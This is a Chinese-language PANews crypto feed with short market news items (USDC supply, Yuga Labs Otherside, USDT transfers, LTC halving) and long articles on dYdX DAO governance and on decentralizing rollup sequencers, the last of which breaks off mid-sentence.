    PANews 3月26日消息，据官方数据，3月17日至3月24日期间，Circle共发行5亿美元USDC，赎回26亿美元USDC，流通量减少约21亿美元。截至3月17日，USDC总流通量为346亿美元，储备量为346亿美元，其中现金56亿美元，短期美国国债290亿美元。  ( 4 min )
    Yuga Labs上线“Otherside:2nd Trip”活动
    PANews 3月26日消息，据官方消息，Yuga Labs宣布上线“Otherside:2nd Trip”活动，Voyagers（航海者）和受邀访客需前往Infinity Room并准备进入2nd Trip。据此前消息，Yuga Labs在博客中宣布Otherside元宇宙平台的Otherside:2nd Trip活动暂定于3月25日上线。Voyagers将能在Trip（旅行）开始前15分钟进入体验，Otherdeeds NFT持有者将有机会参加2nd Trip，前提是他们在主要故事开始之前准时到达体验，2nd Trip可以通过邀请参与。  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.25）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    从dYdX最新提案看社区治理和DAO的共识创建
    作者：西昻翔，ChainCather 上周，dYdX DAO 一项旨在将交易奖励减少约 45% 的治理提案 DIP 20 正式获得通过。与此同时，DYDX 代币价格应声飙升 30%。 该提案本身并不复杂——减少交易激励，将资金节省下来充入金库，至于具体用途留待后议。但其背后反映出项目及利益相关方的意图却很直接：出于更长期的社区利益考量，dYdX 选择了适当放弃短期激励和好看的交易量数字。 这场 dYdX 内部对利益分配机制的“改革”以 84% 票数支持、16% 反对落下帷幕，并未像此前 Uni 选择跨链桥工具那般引发轩然大波。而作为 DeFi 头部项目的 dYdX，能够屡屡借助社区投票和公众治理来及时沟通、调整项目发展细节和中长期规划，已然成为业内不可多得的范本。 本文将以 dYdX 过往的数次重要转折为引，细致分析其社区治理思路对项目的短、长期影响，对比总结去中心化社区（即 DAO）在共识建立和利益分配等方面所遇到的挑战。 dYdX 提供类似 Binance 等中心化交易所的永续合约交易服务，其最终目标是建立一个完全去中心化的衍生品交易所。 2017 年夏天，前 Coinbase 工程师 Antonio Juliano 创立了 dYdX。该协议的前两个产品 Expo 和 Solo 是为以太坊上的保证金交易构建的。看到 2019 年 Bitmex 永续合约交易的爆炸式增长，dYdX 决定跟进。BTC 和 ETH 等衍生品合约的推出吸引了大量交易员，随着 2021 年 StarkNet 发布，基于其上的 dYdX 易用性得到进一步改善。 此外，dYdX 之所以能成为目前最成功、市场占有率最高的链上衍生品平台，得益于它较早采用订单簿模型、极具竞争力的费率机制、利用第三方喂价合约价格、丰富的订单类型以及良好的 UI/UX 界面等方面。 不过，曾经通过流动性激励吸引大量交易者和套利者的 dYdX，此后也困于大量薅羊毛的虚假交易。此外，如何进一步提升可扩展性，以及设计新的价值捕获模型，也是 dYdX 需要解决的问题。 2022 年 6 月 22 日，dYdX 宣布其 V4 版本将作为基于 Cosmos SDK 和 Tendermint 的 Layer1 区块链推出，同时 DYDX 被提议作为 dYdX v4 的原生代币。 对 dYdX 而言，从以太坊撤退、基于 Cosmos 开发应用链的举措自然是有利于社区和用户的。通过这种方式，dYdX 有望提供一个新的价值捕获的故事——即，用户需要使用 DYDX 支付交易费用和验证节点费用。此外，DYDX 还可以参与 staking，运行自己的 sequencer 或 verifier 获取 MEV 以降低交易手续费等。 而在做出这样的选择之前，2022 年 1 月 11 日，dYdX Trading Inc. 宣布了 dYdX 协议通往完全去中心化的道路：dYdX V4 将是开源的、完全去中心化的，并且完全交给 dYdX 社区。 可以说，dYdX V4 在主网上的发布标志着 dYdX 协议去中心化的转折点。从那时起，dYdX DAO 将单独并完全负责 dYdX 协议运行的所有方面。为此，dYdX 基金会在社区内部发布了关于 dYdX DAO 的潜在路线图。 在他们的设想中，dYdX DAO 可能会由几个自治的 subDAO 组成，每个 subDAO 负责 dYdX 协议的一部分核心功能（如财务和资金管理、增长、风险管理等），并最终对 dYdX 社区负责。subDAO 需要及时关注 dYdX 社区论坛上的评论请求 (DRC)，引导社区讨论及推动提案进展，顺利执行已获通过的链上投票提案等。 dYdX 通往去中心化的路径自然不是一蹴而就的，但奠定其核心的 dYdX 基金会早已在 2021 年 6 月于瑞士成立。作为一家非营利性基金会，它的使命就是通过支持社区、开发者和去中心化治理来发展 dYdX 生态。 2021 年 8 月 3 日，dYdX 基金会正式宣布发行治理代币 DYDX，通过启用对协议的共享控制，允许 dYdX 社区真正治理 dYdX 第 2 层协议，协调交易者、流动性提供者和合作伙伴之间的激励，并围绕治理、奖励和质押建立一个强大的生态。 而通过数年间 dYdX v3 治理的经验和观察，官方曾发布过一些具体数字： 从参与治理的普遍度来看，在 dYdX v3 上的 30 个提案中，平均有 2600 万个 DYDX（约占可投票供应量的 7.0%）和 412 个地址（约占所有可投票钱包的 1.1%）参与投票。尽管市场存在波动，但 2022 年选民治理参与度环比增加。 从达成共识的效率来看，整个提案生命周期中论坛讨论、链下投票以及创建链上投票之间的平均准备时间分别为 17 天和 48 天。 而为了进一步提高 dYdX 治理普遍度和效率，dYdX 社区选择的解决方案是将某些参数的决策权委托给专门的 subDAO。此外，他们还在考虑将投票权和提案权实现进一步分配和去中心化。 综合来看，在过去数年的数十个提案中，关于安全模块、流动性模块以及资助计划、激励计划的讨论因直接影响 dYdX 的协议收入和生态发展引起了社区的广泛热情，参与投票的社区成员大多也站在社区整体利益的角度表达了自己的意见。 而 dYdX DAO 的使命感最早源自其创始人 Antonio Juliano。他曾在社区发文讲述自己对 dYdX 社区价值观的看法，其中尤为重要的一点是，他坦率讲述了 DAO 应该考虑资助哪些类型的贡献者。与其用少量的钱来补偿大量贡献者，Juliano 建议最好是向少数才华横溢的贡献者支付大量的钱。 此外，在社区中产生重要影响的一件事莫过于 2023 年初 dYdX 基金会发布一项关于 DYDX 代币归属时间表的修正案。30%（1.5 亿 dYdX）代币原计划在 2023 年 2 月初解锁，这将使流通供应量增加 100% 以上。然而，修正案将代币锁定期延长至 2023 年 12 月 1 日。此举有力凝聚了社区对 DYDX 的信心和认同感，然后传递给了更为广泛的投资者群体，最直接的表现就是，消息发布后 dYdX 代币价格飙升超 25%。 迄今为止，DAO 的治理模型大多是国家和公司治理模型的简化版本。当今加密项目中的大多数治理机制，都是基于代币的一种民主实现形式。 机制设计者们的确借助新颖的链上功能对旧模型加以强化，比如类似于直接民主的 One-Wallet-One-Vote、旨在降低巨鲸投票权二次投票机制以及 Vitalik Buterin 等人提出的参与证明（PoP）。 这些改进不能说不重要，因为它们主要集中提高效率并减轻或延迟恶意提案的影响。但它们没有回答一个关键问题：底层治理框架能否在处理复杂任务的同时激励良性行为？ 绝大多数 DAO 治理模型很难做到这一点。 最初，大多数链上治理系统旨在协调非常简单的决策：比如将抵押代币列入白名单、修改某个参数、激活或停用某个不太重要的功能。DAO 的任务是被明确定义的，贡献者的角色是保持它正常工作或做些微小改进。 然而随着用户基数和收入数字的提升，DAO 能够发挥作用的范围越来越多，当 DAO 的治理涉及到大量财务或其他资源的转移时，问题将被迅速放大。也因此，几乎每个 DAO 都面临着两个核心挑战：太过集中、太过脆弱。 至少在当下，DAO 治理只是模仿了传统的股东治理，换句话说，我们还没有看到真正的去中心化治理以及 Web3 的魅力——即，赋予更多的人为系统做出创造性贡献的能力。 但需要肯定的是，关于 DAO 的试验进展得非常之快，它正在迅速演化成传统模式看不懂、学不会的样子。借助互联网和区块链的规模化、颗粒度、可编程性、可组合性，它有望通过不断的实践和创新进化成更好的模型。 如果 DAO 的试验注定会犯错，我们希望看到的是有成效、有裨益的错误。当下不必苛求 DAO 的完美，更多类似 dYdX 的加密项目将朝着更适应市场的方向前进。  ( 6 min )
    NFT借贷协议ParaSpace完成合约升级，平台所有功能均可正常使用
    PANews 3月25日消息，NFT借贷协议ParaSpace已完成智能合约升级，提款时间锁安全增强功能已全面实施，平台所有功能目前都可以正常使用。同时宣布与BlockSec达成合作伙伴关系，BlockSec将加入ParaSpace安全委员会。此外，ParaSpace将关键错误的错误赏金从2万美元增加到20万美元。  ( 4 min )
    数据：7000万枚USDT从Tether Treasury转移至Bitfinex
    PANews 3月25日消息，据Whale Alert监测数据显示，7000万枚USDT从Tether Treasury转移至Bitfinex。  ( 4 min )
    数据：当前区块高度距离LTC减半时间剩余130天
    PANews 3月25日消息，据BTC.com数据显示，当前区块高度距离LTC减半时间（8月2日）剩余130天，届时区块奖励将从12.5 LTC降至6.25 LTC，当前距离减半剩余区块75,137。  ( 4 min )
    万字全解Rollup排序器的去中心化道路
    原文：Rollups Aren’t Real 作者：Jon Charbonneau 编译：0x11，Foresight News Kelvin 认为「ZK Rollup」 不是真正的 ZK Rollup，我认为所有「Rollup」都不是真正的 Rollup，至少现在还不是。那么问题是，我们如何使它们成为真正的 Rollup？ 当前的 Rollup 大多是需要信任和许可的： 我将概述以下方面的情况： 本文不讨论提高 Rollup 安全性的许多其他要求，包括降低升级密钥的能力，实施稳健且无需许可的证明等。 首先，简要回顾一下 SCR 的工作原理。今天在以太坊上使用的 Rollup 都是 SCR。在更高层次上，SCR 基本上只是： 更具体地说，传统的排序器通过将它们的状态根和调用数据发布到它们关联的 L1 智能合约来提交 Rollup 块，新块被添加到 Rollup 的顶端。链上合约运行 Rollup 的轻型客户端，保存区块头哈希。合约在收到有效性证明后或在欺诈证明窗口期结束后被确认结算。如果一个未最终确定的 ORU 块是无效的，可以通过提交一个回滚链的欺诈证明来孤立它（以及所有后续区块）。证明有助于保护跨链桥： 交易包提交应该需要某种类型的保证金来防止恶意行为。如果提交了欺诈交易包（例如无效的状态根），保证金将被烧毁并分配一些给欺证明的挑战者。 SCR 具有「合并共识」——一种可在链上验证的共识协议。Rollup 共识可以完全在 L1 智能合约中运行。它不影响主链共识机制，也不需要主链共识机制的任何支持。 去中心化共识协议通常包含四个主要特征（请注意，这是一种简化，不能清楚地说明全部共识协议，例如，无领导协议）： 鉴于 1 和 2 还存在争议，去中心化排序器的最低要求就是某种形式的抗女巫攻击 + 领导者选举。Fuel Labs 一直在做这方面的工作，他们认为 PoS： 为什么你应该有一个 L2 本地共识，这一点也有很好的论据，稍后会详细介绍。 主权 Rollup 仍然将交易数据发布到 L1 以获得数据（DA）可用性和共识，但他们在 Rollup 中处理客户端的「结算」。DA 层告诉你数据存在，但它们没有定义 Rollup 的规范链： 相关说明：有一个有趣的论点，即不存在全球规范链（只有桥能决定哪个链被认为是规范的）。这里有一个反驳的观点，其他关于 Rollup 在主权和可组合性之前权衡的Twitter 线程。我鼓励你筛选这些信息，以及了解最近关于比特币主权 Rollup 的话题。 上面的「规范」框架很容易理解，而且它不是本文的重点，我继续使用它。有关一般 Rollup 架构的更多背景信息，可以参考此处。 用户发起的强制交易包含 如上所述，定序器一般负责批量处理交易并将其发布到 L1 智能合约。不过，用户也可以自己直接向合约中插入一些交易： 当然这是低效和昂贵的，因此排序器将打包交易并将它们一起提交。这分摊了许多交易的固定成本，并允许更好的数据压缩： 定序器承诺最终会在 L1 上发布这些交易，同时我们可以计算输出以获得软确认： 当排序器将这些事务发布到 L1 时，会进一步巩固输出： 通常情况下，用户在从 L1 将资金桥接到 L2 时只会自己包含交易。这作为 L1 合约的输入，告诉 L2 它可以在 L2 上铸造由 L1 上锁定资产支持的资产。 如果我想把我的钱还给 L1，我可以在 L2 上销毁它，然后告诉 L1 把我的钱还给我。L1 不知道 L2 发生了什么，因此需要提交证明以及解锁我在 L1 上资金的请求。 因为我是 L2 过来的，所以排序器可以发起这个取款请求，提交给 L1。但是，现在你信任 L2 排序器的抗审查性（censorship resistance，CR）。你不再拥有与在 L1 相同的保证，也许他们不喜欢你，或者排序器关闭，你的资产永远停留在 L2 上。 Rollup 可以通过各种措施在本地增加自己的抗审查。这可能包括拥有一个具有高质押价值的 L2 共识集、包含列表的一些变体、添加阈值加密等，以最大限度减少 L2 用户审查的机会。这些都是不错的做法，但理想情况下，我们还希望 L2 用户拥有与 L1 相同的抗审查保证。 如果用户受到审查，他们需要一些方法来强制退出 Rollup 或强制将他们的交易纳入 L2。这就是为什么 L2 用户应该保留诸如强制将他们的 L2 交易直接包含到 L1 合约中的能力。例如，被审查的用户可能能够自己直接向 L1 提交一个单操作交易包。 如果 L2 用户的唯一选择是将交易直接强制发送到 L1，这并不理想。对于许多低价值用户来说，这并不友好，尤其是在与 L1 交互成本越来越高的情况下。更高级的设计可能能够解决这个限制，强制在 Rollup 之间进行原子交易。Kalman Lajkó 在这里进行了一项引人入胜的设计，我强烈推荐阅读。它希望在具有共享证明者和​​ DA 层的系统中启用交叉 Rollup 强制交易。 主权 Rollup 的强制包含机制工作方式不同，如前所述，它们执行分叉选择规则的方式与 SCR 不同（Sovereign Labs 在发布的精彩帖子）。 在 SCR 中，L1 智能合约执行 Rollup 的分叉选择规则。除了验证 ZK 证明之外，它还检查该证明是否建立在之前的证明之上（而不是其他分叉），以及它是否处理了在 L1 上发送的所有相关强制交易。 SR 可以将其 ZK 证明发布到 L1 DA 层，供所有人查看为 calldata/blob（即使 L1 未验证它们）。然后，你只需添加一条规则，即新证明只有在先前有效证明的基础上才有效。这个规则可以在客户端强制执行，但它会要求用户扫描链的历史。 calldata 可以绑定回 L1 区块头，并且可以添加一条声明说「我已经扫描了 DA 层的证明（从区块 X 开始到区块 Y 结束），并且这个证明建立在最近的有效证明之上」。这直接在证明中证明了分叉选择规则，而不是在客户端强制执行。 由于你已经在扫描证明，因此你还可以证明你已经扫描了任何强制交易。任何人都可以在需要时将强制交易直接发布到 L1 DA 层。 以太坊上的链上证明验证通常非常昂贵，因此目前的 ZKR（例如 StarkEx）往往每隔几个小时才将 STARK 发布到以太坊。相对于交易数量，证明的增长往往非常缓慢，因此这种批处理可以显着节省成本。然而，这么长的最终确定时间带来的用户体验并不理想。 如果 Rollup 只在链上发布状态差异（而不是完整的交易数据），那么即使是完整的节点也无法在没有证明的情况下确保最终确定性。如果 Rollup 的完整交易数据发布在链上，那么至少任何完整节点都可以与 L1 一起完成。 通常，轻节点只会依赖中心化排序器实现软确认。然而，ZKR 可以在 p2p 层中快速生成和分发 ZK 证明，供所有轻客户端实时查看，同时以 L1 速度为它们提供最终性。稍后，这些证明可以递归地打包发布到 L1。 这就是 Sovereign Labs 计划做的事情，类似地，Scroll 计划在链上发布中间 ZK 证明（但不验证它们），因此轻客户端可以相当快地同步。通过这两种方式，Rollup 可以开始以 L1 的速度完成终局性，而不是等待以节省 Gas 成本。请注意，在这两种情况下，你只是将最终确定时间降低到绝对最小值（L1 速度）。 任何排序器都不会比 L1 更快实现最终确定性。不同的排序器设计可以做的最好的结果是为你提供比 L1 更快的预确认，并具有不同级别的确定性（例如，具备去中心化共识集的 L2 的预确认比单个可信排序器的更可靠）。 Patrick McCorry 最近还对 Rollup 交易最终确定性等级进行了很好的概述。 当前大多数 Rollup 都有一个排序器用于提交交易包。它提高了效率，但也带来了较弱的实时活性和抗审查性。加上适当的保护措施后，这对于许多用例来说可能是可以接受的： 例如，备用排序器可以由 Rollup 治理机制选出，用户可以获得安全性、抗审查性和活性。即使从长远来看，单个主动排序器也是一个可行的选择。 Base 可能是一个新趋势的开始。公司现在可以管理和优化他们的产品，就像他们对企业区块链的胡说八道感到兴奋一样，但它现在实际上可以成为一个无需许可、安全和可互操作的链。 Base 最终打算将他们的排序器集去中心化，但重点是他们并不严格需要这样做（或者他们可以在非常有限的范围内，例如小型排序器集）。要明确的是，这需要 Rollup 来实施必要的步骤，来确保它实际上是安全的，并维护抗审查性（删除任意即时升级、实施稳健证明、强制交易包含、MEV 拍卖等）。 这将是对中心化 / 托管产品的巨大改进，而不是对最大去中心化产品的替代。Rollup 只是扩展了设计空间。这也是大多数 Rollup 团队没有将排序器去中心化作为首要任务的主要原因——其他项目更看重用户安全、抗审查和减少对 Rollup 运营商的信任。 然而，如果用户 / 其他方需要介入以保持活性和「实时抗审查」（相对于「最终抗审查」，例如强制通过 L1 进行交易），这仍然不是理想的选择。根据强制交易包含机制，低价值用户介入可能成本高昂或不切实际。对实时抗审查和活性的最大保证有高度偏好的 Rollup 将寻求去中心化。运营单个受许可的排序器时也可能存在监管考虑。 对单个排序器的一个直接改进是允许少数地理分布式排序器。排序器可以简单地轮换，他们之间建立联系将有助于激励诚实的行为。 这个概念应该不会太陌生——多重签名桥通常有少数受信任的公司，或者类似的委员会，比如 Arbitrum 的 AnyTrust DA 。但重要的是，他们在这里的权力要小得多（你不依赖 Rollup 排序器来保证安全，这与多重签名跨链桥运营商提取锁定资金的方式不同）。总的来说，与单排序器相比，这种方案的抗审查和活性更好，但仍然不完美。 Rollup 也可以通过智能合约直接运行 MEV 拍卖 (MEVA) ，而不是根据质押分配排序器权利。任何人都可以竞标交易的排序权，拍卖合约将排序权授予出价最高的人。这可以针对每个区块进行，也可以持续一段较长的时间（例如，竞标成为第二天的排序器的权利）。获胜的排序器仍应提交一笔保证金，以保证如果他们随后出现故障或作恶，可以实施处罚。 在实践中，如果拍卖没有直接纳入协议，协议外的 MEVA 是最自然的结果。如果根据质押权重确定排序权，就会出现某种形式的 MEV-Boost/PBS 式拍卖系统，类似于我们今天在 L1 以太坊上看到的。这种情况下，费用 /MEV 可能会分配给质押者。如果拍卖被纳入协议，那么费用 /MEV 可能会进入某种形式的 Rollup DAO 金库。 无需许可即可作为排序器加入，但你必须质押代币（可能是 L2 的原生代币）。质押机制可以通过智能合约或直接在 Rollup 中建立在基础层上。你可以使用此 PoS 结合某种形式的链上随机性的方式来进行领导者选择，这与任何 L1 大致相同。你对一个区块进行排序的概率 = 你占总质押量的比例。可以通过削减等来对错误 / 恶意的排序器施加惩罚。 请注意，由于上述原因，这不需要排序器达成共识。Rollup 使用 L1 达成共识，因此不需要本地共识。质押决定哪些排序器可以提议区块，但是他们不需要对其他排序器提议的区块进行投票。 也可以授予任意时间长度的排序权。你可能有权对 100 个连续的 Rollup 块或 1000 个等进行排序。更长的周期可能更高效，并且在给定时间内只需要一个排序器。然而，授予扩大的垄断权可能有其他外部性。 Dymension 是一个实践这些思路的项目。Dymension Hub 将是 Cosmos 中典型的诚实多数 PoS L1。它的 L2（「RollApps」）将使用它进行结算和共识，同时依赖 Celestia 进行 DA（因此这些 L2 实际上是「Optimistic Chains」，而不是「Rollup」）。 根据他们的Litepaper，去中心化 RollApp 排序将需要在 Dymension Hub 上抵押 DYM（Dymension 的原生资产）。然后，领导者的选择取决于抵押的 DYM 的相对数量。这些排序器将从各自的 Rollup 中获得收入（费用和其他 MEV），然后将相关的成本支付给 Dymension Hub 和 Celestia。 这种机制的结果是，这个堆栈中几乎所有的价值捕获都直接累积到 DYM 代币中。使用自己的原生代币进行排序的 Rollup（正如 StarkNet 打算对 STRK 所做的那样）为他们自己的代币附加了价值。这个设置启发了一个问题：以太坊 Rollup 是否只能使用 ETH 进行排序器选举？ 在我看来，这大大降低了在此类结算层上部署 L2 的动机。大多数 L2 团队自然希望他们自己的代币能够产生有意义的价值（而不是仅仅用于费用）。 如果需要，也可以使用 L2 质押进行排序器选举和本地共识。这正是 StarkNet（STRK）计划的代币模型： 此外，STRK 可以以某种形式用于： 交易流程如下： 有关 StarkNet 计划的更多详细信息，你可以参考以这一篇贴文。 L2 可能会也可能不会实现自己的本地共识（即，L2 验证者在将数据发送到 L1 以获得最终共识之前在其区块上签名）。例如，L1 智能合约可以根据其规则了解到： Rollup 如果没有本地共识，你需要做的是： 请注意，在任何一种情况下，L2 的价值都可以累积到 Rollup 代币中。即使 L2 代币仅用于某种​​形式的领导者选择（而非共识投票），排序权的价值仍会累积到 L2 代币上。 现在让我们讨论在 L1 之前拥有 / 不拥有本地共识的权衡。 Fuel Labs 团队提出的一个论点认为 L2 共识会降低抗审查性。「这允许大多数验证者审查新区块，这意味着可以冻结用户资金。不需要 PoS 来保护 Rollup，因为 Rollup 是由以太坊保护的。」这是一个争议地带。如前所述，即使审查排序器依然可以提供抗审查性（例如，强制交易直接进入 L1，或更复杂的设计，例如Kalman Lajkó 正在研究的设计）。 另一种说法是，完全达成共识是「低效的」。例如，下面前一种情况似乎更容易： 当然，不同的排序器设计和共识机制存在很大差异。 此外，请注意，如此处和此处所述，一些人对在排序器去中心化中使用 PoS 表示担忧。L1 与 L2 的复杂性可能使处理某些类型的攻击更具挑战性。 排序器的最大目标可能是在 L1 的完全安全和保障之前为用户提供更快的软确认。查看 StarkNet 的机制： 「强大而快速的 L2 终局性——StarkNet 状态只有在交易包被证明为 L1 之后才成为最终状态（可能需要几个小时）。因此，L2 去中心化协议应该在下一交易包被证明之前就执行顺序做出有意义的承诺。」 由多排序器的经济安全支持的共识有助于在此期间提供更有力的保证： 「Starknet 共识必须是负责任的，因为违反安全和活性的行为会受到惩罚，任何部分参与者（包括恶意的多数）都会受到惩罚。」 Rollup 还可以灵活地在共识机制选项的范围内尝试不同的权衡点，因为它们最终总是可以回退到以太坊 L1 的安全性和动态可用性。 上面的 Rollup 都构建了特定的排序器，以某种形式创建 Rollup 区块。例如，PoS 无需许可即可加入，但在给定 slot，只有选出的 L2 排序器能够提交区块。也有一些相关方案不依赖任何 L2 排序器，它们通过 L1 本身来进行交易排序。 Vitalik 早在 2021 年就提出了这种「完全无政府状态」的想法。任何人都可以随时提交交易包。它满足了上面讨论的去中心化排序器的两个最低要求： 这已经足够了，因为 L1 已经提供了安全性。如果 L2 区块已发布到 L1，则它们只有在无效或建立在无效区块上（将被回滚）时才会被孤立。如果它们有效并发布到 L1，则它们具有与 L1 本身相同的安全性。 Vitalik 指出了一个重要的问题：效率低下。多个参与者很可能并行提交交易包，但只有一个可以被成功包含。这会浪费大量精力来生成证明和 / 或在发布交易包到链上时浪费 Gas。 但是，PBS 现在可以使这种无政府状态的设计变得可行。它允许更多有规律的排序，每个 L1 区块最多有一个 Rollup 区块，并且没有浪费 Gas（虽然可能浪费了计算资源）。L1 区块构建者可以只包含最高价值的 Rollup 区块，并根据搜索者输入的出价构建区块，类似于任何 L1 区块。Z 在默认情况下许可 ZK 证明可能是合理的，这样做可以避免浪费计算。 这是Justin Drake最近提出的「Based Rollups」提案背后的核心思想。他使用该术语来指代由 L1（「基础」层）排序交易的 Rollup。L1 提议者只需确保在自己的 L1 区块中包含 Rollup 区块。这个简单的方案可以立即拥有 L1 的活性和去中心化。它们回避了棘手的问题，例如在 L2 排序器审查的情况下解决强制交易包含问题。此外，它们还消除了一些 Gas 开销，因为不需要排序器签名验证。 一个有趣的问题是关于这些 L2 交易在哪里进行处理。L2 客户端需要将这些交易发送到某个地方，以便 L1 搜索者 / 构建者接收它们并创建区块和数据块。它们可能会被送到： L1 Mempool – 它们可以与一些特殊的元数据一起发送，「知情」的搜索者 / 构建者来解释。但是，这可能会增加 L1 内存池的负载。 L2 的 p2p Mempools – 这条思路似乎更站得住脚。搜索者 / 构建者除了通常的渠道外，还将开始检查和解释这些内容。 这里的一个明显缺点是 Based Rollup 限制了排序器的灵活性。例如： 减少 MEV：Rollups 可以通过 FCFS 的变体、加密的内存池等变得有创意。 预确认：L2 用户喜欢快速的交易「确认」。Based Rollup 交易「确认」时间最多回落到与 L1 持平（12 秒），或者等待更长时间才能发布完整交易包。 有趣的是，这正是早期 Rollup 团队正在做的事情： Justin 指出，重新质押可能会有所帮助。 这些都是围绕 EigenLayer 的研究领域，至少在他们的白皮书中提到过。目前尚不清楚这种方案能否实际解决问题。为了重新质押以有效改善这些缺点，可能希望所有质押者都选择运行它。通过让想要执行此操作的质押者进入一个单独的共享排序层（稍后会详细介绍）来模拟这个想法似乎更合乎逻辑。 去年，Polygon Hermez 提出了一项名为 PoE 的提案。这是专门用于 L1 排序的 ZK Rollup 的另一种变体。这里的排序器是一个完全开放的角色，任何人都可以提交交易包（即完全无政府状态）。PoE 有两个参与方，过程分为两步​​： 排序器 排序器收集 L2 用户交易并通过发送 L1 交易（包括所有选定的 L2 交易数据）创建交易包。排序器将根据收到的经济价值提交区块，或为用户实现更好的服务（例如，在每个 L1 区块中发布一个交易包，即使这会使 L2 交易更昂贵，但用户想要更快的交易）。 排序器将支付 L1 Gas 费以发布交易包，并且协议定义了必须用 MATIC 支付的额外费用。一旦发布，获胜的交易包立即定义链的新顶端，任何节点都可以确定性地计算当前状态。然后需要有效性证明来最终确定轻客户端的状态（包括 L1 智能合约）。 聚合器 这里的聚合器是 ZK 证明者。同样，这是一个任何人都可以参与的无需许可的角色。很简单： 聚合器可以进行成本效益分析，以找出发布证明的正确频率。如果他们赢了，他们将获得一部分费用，但等待更长时间以发布新证明会将他们的固定验证成本分摊到更多交易中。如果聚合器延迟发布证明（它不证明新状态），那么合约将执行还原操作。证明者浪费了计算资源，但他们会节省大部分的 Gas。 费用按如下方式分配： RollkitSR 具有相似的「纯分叉选择规则」概念，如此处所述，指的是没有特权排序器的 Rollup。节点遵从 DA 层进行排序，并应用「先到先得」的分叉选择规则。 这些 L1 排序设计具有重要的经济影响，因为 L2 交易的 MEV 现在将在 L1 区块生产者级别捕获。在「传统的」L2 排序模型中，L2 交易的 MEV 由 L2 排序器 / 共识参与者 / 拍卖机制捕获。在这种情况下，尚不清楚有多少 MEV 会泄漏到 L1。 这是好事还是坏事，难以说清： 这类方案可能是有意义的，特别是作为一种更简单的 Rollup 引导方法，但很难看到大多数 Rollup 将如此多的 MEV 放弃给 L1。Rollups 的一大好处确实是经济收益——一旦 DA 开始扩展并且成本下降，他们将只需要向 L1 支付很少的费用。较慢的出块时间和简单的 MEV 方法的缺陷对用户来说似乎也不是最佳选择。 请注意，上述 PoE 的竞争可能围绕最快的聚合器进行。ZK 证明者市场有两个经济问题需要解决： 让我们考虑 ZK 证明者市场的两个简单模型： 一个无需许可的市场中，证明者都争先恐后地为 Rollup 排序器 / 共识产生的区块创建证明。第一个创建证明的人可以获得为证明者指定的任何奖励。该模型可以高效地找到最适合该工作的证明者。 这看起来非常类似于 PoW 挖掘。然而，这里有一个独特的区别：证明是确定性计算。结果是，与其他证明者相比具有小但一致优势的证明者几乎总能获胜。那么这个市场就很容易出现中心化。 在 PoW 挖矿中，随机性方面有更好的结果——如果我有 1% 的挖矿算力，我应该得到 1% 的奖励。 这种竞争性证明模型在计算冗余方面也是次优的——许多证明者将竞争并花费资源来创建证明，但只有一个人会获胜（类似于 PoW 挖矿）。 证明者之间可以采取轮换的方式创建证明（例如，根据质押的代币或声誉）。这种方式可能更加去中心化，但在证明延迟方面效率较低（在一个证明者能够更快更有效地创建证明的情况下，另一个「慢」证明者也有机会创建证明）。但是，它可以防止在只有一个证明者能够创建证明时浪费计算资源。 此外，如果证明人的回合内未能提供证明（无论是恶意的还是无意的），网络就会遇到问题。如果这些回合很长（例如，给定的证明者获得几个小时的垄断权）并且证明者宕机，协议将很难恢复。如果转换证明者的时间很短，其他证明者则可以介入。 也可以允许任何人发布证明，但只有指定的证明者才能在给定时间内获得奖励。因此，如果当前证明者失败了，另一个证明者可以发布证明，但他们无法获得奖励。这是一种无私行为，花费资源进行计算而没有任何回报。 Scroll 正在探索更多基于回合制的方法，将执行分配给随机选择的「rollers」（证明者）： 还有很多有趣的问题，比如在排序时用户层面的证明应该如何收费。可以在此处找到关于这些主题的更多讨论： 大多数早期的解决方案都假定每个 Rollup 都需要自己弄清楚如何去中心化他们的排序器。正如我们在 L1 排序方案中看到的那样，但事实并非如此。许多 Rollup 可以选择一个共享排序器 (SS)。这样做的好处是： 如前所述，简单地使用原生 L1 作为 L2 的排序器从根本上有几个缺点： L1 排序可以做的最好的事情是消除 L1 的计算瓶颈（如果交易执行是吞吐量的瓶颈）并实现通信复杂性的改进。 那么，我们能否设计专门且更高效的 SS，而不是让 L1 来做…… Metro 是 SS 层的一个方案。你可以参考 Evan Forbes 的研究帖子、Modular Insights talk 和Shared Security Summit talk了解更多详情。由 Josh Bowen 领导的 Astria 团队正在致力于实现 Metro 方案。 当前的 Rollup 节点实际上处理三件事： 这里的关键是执行和排序的分离。而共享排序可以做到： 排序是无状态的。SS 节点不再需要存储所有不同 Rollup 的完整状态，他们删除了执行计算，传统排序器面临的巨大瓶颈在这里消失了。 当从共识中剥离执行时，效率会变得非常高。如果节点所要做的只是生成有序的交易块并就该块达成一致而不执行所有事情，那么它们的效率会非常高。执行和证明可以在事后由不同的各方完成。 SS 节点可以保持相对轻量级，甚至可以水平扩展（通过选择共识节点的随机子集来对不同的交易子集进行排序）。排序层比传统排序器更加去中心化，传统的排序器需要掌握链的复杂状态并负责执行。 此外，通过跨多个链汇集资源，无需在多个 Rollup 中分割 PoS 共识，而是将它们全部聚合在一个地方。与许多实现自己的排序器集的 Rollup 相比，这种方案可能会产生更去中心化的排序器集，且不需要大量的质押资产。这很重要，因为： 一旦同意交易排序，执行（和证明）可以在事后推迟到一个完全不同的链： 后续的执行层不需要去中心化，因为这不是 CR 的来源。单排序器不是 CR 的理想选择，但这并不是因为它们作为执行者的角色，而是因为他们排序并包括交易。在这里，SS 已经提供了有序的交易输入，因此也就是 CR。之后对状态承诺的计算和比较就不需要去中心化了。 用户喜欢快速的软执行： 这需要某种形式的共识（或中心化排序器）来提供出色的用户体验： 如果你只是依赖像 Celestia 这样的基础层的共识，就不能提供这些围绕排序和包容性的软性承诺。如果 SS 有一个具质押了高价值资产的去中心化委员会，它可以在快速区块（低于 L1 区块时间）上提供相当强大的承诺。 因此，只要 SS 创建一个区块，用户就可以得到软确认。这种确认的强度取决于 SS 的构建（权力下放、经济安全、分叉选择规则等）。一旦数据实际发布到基础层，你就可以将这些交易视为真正的最终交易。然后可以生成并提交状态根和相关证明的最终计算。 「Lazy Rollup」非常简单。他们等到交易全部被排序并发布到 DA 层，然后他们下载这些交易，可选地应用分叉选择规则来选择交易的子集，执行交易处理，并确定交易状态。然后可以生成区块头。 请注意，由于 SS 无法以需要访问完整状态的方式生成区块，因此它们不会检查无效的状态转换。因此，使用 SS 的「Lazy 